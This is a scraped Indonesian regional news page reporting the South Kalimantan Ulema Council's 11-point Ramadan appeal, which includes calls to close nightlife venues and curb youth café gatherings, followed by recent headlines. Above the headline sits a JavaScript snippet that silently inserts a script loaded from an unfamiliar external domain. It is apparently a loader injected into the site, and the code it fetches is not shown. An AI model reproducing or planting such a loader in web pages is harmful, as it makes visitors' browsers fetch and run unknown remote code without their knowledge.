(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Seruan MUI Kalsel Sambut Ramadhan: Tutup Total THM, Batasi Pergaulan Bebas Remaja di Cafe


KANALKALIMANTAN.COM, BANJARMASIN – Menyambut bulan suci Ramadhan 1444 hijriyah, Majelis Ulama Indonesia (MUI) Provinsi Kalimantan Selatan (Kalsel) memberikan sejumlah imbauan.

Dalam surat imbauan yang ditandatangani Ketua MUI Kalsel KH Husin Naparin dan Sekretaris H Nasrullah ada 11 poin yang menjadi seruan MUI Kalsel kepada umat muslim di Kalsel selama bulan Ramadhan.

Kesebelas poin tersebut antara lain, menyambut bulan Ramadhan dengan rasa syukur, memakmurkan tempat-tempat ibadah, memperbanyak tadarus Al Quran, menjadi pribadi yang berakhlak mulia, serta mengagungkan syiar Islam.

Kemudian mengintensifkan pembinaan keagamaan bagi orangtua kepada anaknya, memperbanyak infaq dan sedekah, mendirikan shalat tarawih berjemaah, serta amalan-amalan sunnah lainnya.

 

Baca juga: Usai Dilaporkan Tenggelam, Jasad Darsyah Ditemukan Mengapung di Sungai Tapin

MUI Kalsel juga melakukan imbauan dan mendorong agar Tempat Hiburan Malam (THM) selama bulan Ramadhan untuk ditutup total.

“Kami berharap dan mendorong kepada pihak yang berwenang agar menutup total kegiatan THM, serta mencegah sarana pergaulan bebas (cafe-cafe) dan kebut-kebutan di kalangan remaja,” kata KH Husin Naparin dalam surat imbauan yang diterima Kanalkalimantan.com, Minggu (19/3/2023) siang.

MUI Kalsel juga mengimbau masyarakat dan semua pihak untuk memelihara situasi agar tetap kondusif, untuk  keamanan dan kenyamanan dalam beribadah selama bulan Ramadhan.

Kerja sama yang intensif antara ulama dengan umara (pemerintahan provinsi, pemerintah kabupaten/kota, dan TNI Polri) juga didorong selama bulan Ramadhan.

Baca juga: LPTQ Banjar Bersiap Hadapi MTQ Tingkat Provinsi Kalsel

Selain itu, MUI Kalsel juga meminta pemerintah untuk menerapkan Peraturan Daerah (Perda) Ramadhan yang berlaku di kabupaten kota.

“Kami minta kepada pemerintah provinsi Kalimantan Selatan dan TNI Polri serta stackholder mendukung Perda Ramadhan yang sudah ada di provinsi Kalsel dan kabupaten kota,” tutup surat imbauan tersebut. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Pasar Murah Harjad ke-26 Kota Banjarbaru Ludes Tak Sampai Setengah Jam

KANALKALIMANTAN.COM, BANJARBARU - Momentum peringatan Hari Jadi (Harjad) ke-26 Kota Banjarbaru, warga Ibu Kota Provinsi… Read More

1 jam ago

Perayaan Dharmasanti Nyepi di Basarang, Bupati Kapuas: Pererat Persaudaraan di Tengah Keberagaman

KANALKALIMANTAN.COM, KUALA KAPUAS - Rangkaian perayaan Hari Raya Nyepi Tahun Baru Saka 1947 atau tahun… Read More

2 jam ago

SPMB di Banjarbaru Bulan Juni dari Zonasi ke Rayon

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru bersiap menghadapi periode tahapan pendaftaran SPMB (Sistem Penerimaan Murid Baru)… Read More

2 jam ago

Tim Sepakbola HSU Siap Berlaga di Kejurprov Kalsel 2025

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melepas tim sepakbola HSU berlaga… Read More

5 jam ago

Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Para pecinta adventure dengan menggunakan motor trail boleh bergembira. Pasalnya, Kapuas… Read More

16 jam ago

DPRD Kapuas Rapat Paripurna Pemandangan Fraksi Terkait Pemekaran Kecamatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke… Read More

17 jam ago